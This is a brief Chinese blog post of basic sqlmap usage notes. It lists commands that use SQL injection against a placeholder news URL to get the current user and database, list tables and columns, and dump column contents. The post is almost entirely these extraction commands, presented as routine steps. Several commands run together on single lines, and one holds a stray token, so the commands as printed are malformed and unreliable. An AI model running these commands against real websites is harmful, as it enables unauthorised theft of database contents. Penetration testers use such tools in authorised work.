基本步骤：

sqlmap -u "http://url/news?id=1" --current-user #获取当前用户名称
sqlmap -u "http://www.xxoo.com/news?id=1" --current-db  #获取当前数据库名称sqlmap -u "http://www.xxoo.com/news?id=1" --tables  -D "db_name" #列表名
sqlmap -u "http://url/news?id=1" --columns -T "tablename" users-D "db_name" -v 0 #列字段sqlmap -u "http://url/news?id=1" --dump -C "column_name" -T "table_name" -D "db_name" -v 0 #获取字段内容

日常操作中差不多就这些，需要获取更多信息，可以在百度文库搜“sqlmap使用手记”

本文出自 “tree's blog” 博客，请务必保留此出处http://shuzi.blog.51cto.com/3685900/1594062

sqlmap使用笔记（基础篇）